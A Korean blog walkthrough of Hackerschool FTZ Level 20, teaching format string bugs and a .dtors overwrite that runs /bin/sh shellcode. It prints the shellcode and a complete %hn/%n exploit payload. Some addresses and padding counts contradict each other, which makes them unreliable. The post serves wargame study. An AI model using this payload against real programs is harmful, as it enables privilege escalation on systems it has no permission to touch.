[해커스쿨 ftz] Level 20 / FSB

bloomin ㅣ 2019. 9. 25. 21:44

글을 들어가기 전에, 포맷 스트링 버그에 대해 알고 가자.

포맷 스트링 버그란?

- 버퍼 오버플로우 해킹 기법의 한 종류로써, 사용자의 입력에 의해서 프로그램의 흐름을 변경시킬 수 있는 취약점임.

printf()함수의 취약점을 이용함.

개발자가 실수로 printf(buf)를 사용했을 떄, 입력값을 포맷스트링으로 넣으면, 입력값을 문자로 취급하는 게 아닌 서식문자로 취급하여 취약점이 일어날 수 있음.

 

Format String

parameter 변수 형식
%d 정수형 10진수 상수(integer)
%f float
%lf double
%c character
%s string
%u 양의 정수(10진)
%o 양의 정수(8진)
%x 양의 정수(16진)
%n *int(쓰인 총 바이트 수)
%hn %n의 반인 2바이트 단위

 

ex) fgets(buf, sizeof(buf), stdin)

printf(buf)

=> 문자열일 때(buf = "string")는 정상적으로 문자열로 인식. but, 서식문자(buf = "%x %s")를 넣었을 경우에는 문자열로 보지 않고 서식문자로 인식!

서식문자를 만나면 메모리의 다음 4바이트 위치를 참조하여 그 서식문자의 기능대로 출력함.

 

아직 모호한 것 같다.

더 자세히 알아보자.

 

 AAAA 는 

char buf[20];
buf = AAAA;

이렇게 했을 때, 배열 안에 들어가는 문자!

이게 스택에 쌓이는 것.

buf에 AAAA를 입력하면 AAAA가 바로 들어옴

만약 ABCD를 입력하면

ESP+10 에 ABCD가 쌓임.

 

만약

fgets(buf, sizeof(buf), stdin);
printf(buf);

char buf[20];

fgets로 buf = "%x%x"를 입력받으면

 

parameter1 = buf에 ("%x%x") 가 담기고,

parameter2 = sizeof(buf) = 0x400 (10진수로 1024)

parameter3 = stdin()

AAAA

 

위와 같이 스택이 쌓임.

 

printf(buf)를 했을 때는, buf가 쌓여있는 다음 4byte, 즉, 0x400stdin()의 주소, 그리고 AAAA가 출력된다.

 

응용해보자

input "AAAA %d %p %x"

그러면 parameter1에는 input값들 (AAAA %d %p %x)가 담겨져 있을 것,

그런데 printf(buf)를 썼을 떄, 서식문자가 buf안에 있으면, buf주소의 다음 4byte부터 출력이됨.

sizeof(buf) = 0x400를 %d로 나타내면 1024 이니까,

%d = 1024가 출력이 되고,

%p = stdin의 주소를 출력,

%x = esp+c에 저장된 값을 hex값으로 출력 (A가 아스키코드로 0x41이니까 ) 됨.

따라서

결과값

printf"AAAA 1024 0xb773cc20 41414141"

 

%n은 현재까지 출력된 값들을 그대로 count해서 그 다음 메모리 주소값에 그대로 대입함.

ex) input "A"*10 + "%n" 하면

buf에서 A가 10개 출력될거니까, 10이 카운트 됨.

%n은 그 다음 메모리 주소값에 10을 대입함.

 

ex) input "AAAA %p %1234x %n" 이면

A(4개) + 공백 + p  + 공백 = 7

%1234x(1234개(byte)만큼 공백이 출력) + 공백 = 1235

따라서 %n 전까지 1242 byte가 count 됨을 알 수 있음.

이 1242가 어디에 들어갈까?

-> %p = 1024 (sizeof(buf))

%1234x = stdin()의 주소값 = 0xb773cc20

%n = %n이 가리키는 위치 = 0x41414141을 가리키는 위치에 이 count값 1242(0x4da)을 넣어줌

 

이런 식으로 진행된다는 점을 알아두고 문제를 풀어보자.

 

 

LEVEL20에 login 하고, hint를 보면 다음과 같은 코드가 뜨는 것을 알 수 있다.

bleh 배열의 크기는 80이고,

fgets함수는 문자열을 입력받긴 하지만 그 최대길이를 79바이트로 제한하여 가져온다.

 

버퍼오버플로우를 하려면 기본 배열의 크기와 dummy 메모리 공간까지 합한 영역을 오버플로우 시켜야하는데, 배열보다 크기가 작은 데이터만을 가져오도록 코딩이 되어있다.

즉, 버퍼오버플로우를 발생시키기에 적합하지 않은 , 시큐어코딩이 되어있다고 볼 수 있다.

 

코드를 잘 살펴보니 printf가 printf(buf)형태로 작성되어있다.

즉, Format String Bug 를 발생시킬 수 있다는 말이다.

 

여기서는 Format String Bug를 이용하여 쉘코드를 실행시켜야 한다.

%n이나 %hn을 이용하여 메모리에 쉘코드 주소 값을 넣어주면 될 것 같다는 생각이 든다.

 

그렇다면 어떤 공간에 쉘코드의 주소값을 써야할까?

 

가장 먼저 생각할 수 있는 것은, RET 영역에 쓰는 방법인데, 스택의 주소가 계소 뀌기 때문에 ret주소를 찾는 것이 쉽지가 않다.

그래서 알아보니 '.dtors'라는 곳에 값을 쓰는 방법이 있었다. 사람들은 printf()의 소멸자라고도 하는 것 같다.

 

'.dtors'는 gcc컴파일러가 컴파일 할 때 나타나는 특징적인 영역으로 리눅스 ELF 구조에 대한 지식이 필요하다고 한다.

간단하게 .dtors의 역할과 동작방식을 알아보았다.

gcc로 컴파일한 프로그램은 main함수를 호출하기 전에 .ctors 속성의 함수를 실행하게 되고, main함수가 종료 된 직후, .dtors 속성의 함수를 실행한다.

이 함수는 소멸자로서 dtors섹션+4 번째에 있는 메모리주소에 0이 아닌값이 있을 경우 함수로 실행시킨다. 

프로그램에서 소멸자 함수를 호출하지 않을 경우 dtors+4의 값은 0이다.

그래서 쉘코드의 주소를 여기에 넣고, 쉘코드가 실행되도록 하는 것 같다.

 

그러면 이제 문제를 해결할 방법을 찾은 것 같다.

 

First, .dtors의 주소를 찾는다.

Second, 쉘 코드 환경변수 등록 & 주소를 획득한다.

Third, dtors+4에 쉘코드 환경변수의 주소를 입력한다.

 

 

 

일단 dtors의 정보를 얻기 위해 objdump(바이너리 파일들의 정보를 보여주는 프로그램)을 이용한다.

 

objdump -h attackme |grep .dtors

위 그림에서 .dtors의 주소는 08049594 이다.

따라서 쉘코드의 환경변수의 주소값을 덮어쓸 곳은 08049594+4 이다.

 

 

이제 공격을 준비해보자.

 

pritnf에서 서식문자를 쓰면 printf의 ebp를 기준으로 [ebp+12] 공간의 값을 서식 문자의 인자값으로 사용하고, 계속해서 [ebp+16],[ebp+20]~~ 으로 값을 읽어온다.

만약 우리가 bleh에  "AAAAAAAA%n"을 입력한다고 생각해보자.

그러면 

이런식으로 스택이 구성된다.

printf의 인자값은 bleh의 배열 시작 주소값이 전달됨.

printf는 우선 출력된 문자 개수인 8을 printf 함수의 ebp기준으로 [ebp+12], 즉,   butf주소의 다음 4bute값 만큼을 주소로 읽어와서 그 값에 해당하는 주소에 8을 저장함.

즉 , x41414141 주소를 가진 메모리 공간에 8(%이전의 바이트 수)를 쓴다.

우리는 저 x41414141에 원하는 주소를 쓰면 됨.

 

만약 우리가 저 주소값에 숫자 d를 넣으면 그 d의 개수만큼 문자를 출력시키는 것이 된다.

또, printf("%10d",1)을 실행시키면 1이 10의 자리에 맞춰서 출력한다.

그러면 우리는 bleh 배열을 낭비하지 않고, 원하는 만큼 출력할 수 있게 된다.

하지만 우리가 출력하고 싶은 자리의 개수가 int의 범위를 벗어난다면 값의 오버플로우가 일어나서 쓰레기 값이 출력될 수도 있다.

따라서 %hn을 사용해서 2byte씩 나눠서 저장하는 방법을 사용한다.

 

이를 참고하여 쉘코드를 작성해보자.

 

$export EGG=`python -c 'print "\x90"*15+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`
$echo 'int main() { printf("ADDR -> 0x%x\n", getenv("EGG")); } ' > getenv.c
$gcc getenv.c -o getenv
$./getenv

 

이렇게 하긴하는데 쉘코드가 왜 이렇게 작성되는 지는 아직 잘 모르겠다.

 

0x8049598에 쉘코드 주소를 올려야하는데, 0xbfffc8d의 정수값이 x86시스템에서 저장할 수 없어서 %hn을 이용해서 반반씩 나누어 덮는다.

0xfc8d는 0x8049598에, 0xbfff는 0x804959a에 넣게 됨.

 

그리고 

 

그리고

AAAA\x94\x95\x04\x08AAAA\x96\x95\x04\x08%8x%8x%8x%8x 에 대한 자릿수 40바이트를

0xfc8d에서 뺍니다.

64653-40=64613

 

또 %n이 앞자릿수를 계산하므로 40+64613=64653을 

0xbfff에서도 빼주어야 합니다.그러나 0xbfff(49151)에서 빼게되면 음수가 되기 때문에 0xbfff앞에 1을 붙인 0x1bfff에서 빼서

50034가 됩니다.

 

최종적으로

"AAAA\x98\x95\x04\x08AAAA\x9a\x95\x04\x08%8x%8x%8x%8x%64613c%n%50034c%n"이 됩니다.

 

(python -c 'print "AAAA\x98\x95\x04\x08AAAA\x9a\x95\x04\x08"+"%8x%8x%8x"+"%64613c%n"+"%50034c%n"'; cat) | ./attackme​

 

 

 

 

참고 자료 : https://shayete.tistory.com/entry/5-Format-String-Attack-FSB

 

5. Format String Attack (FSB)

Shayete 입니다. 5번째 강의는 포맷스트링 버그에 대해 알아보도록 하겠습니다. 포맷스트링버그는 개발자의 실수로 printf(buf) 이렇게 사용했을 때 입력값을 포맷스트링으로 넣으면 입력값을 문자로 취급하는..

shayete.tistory.com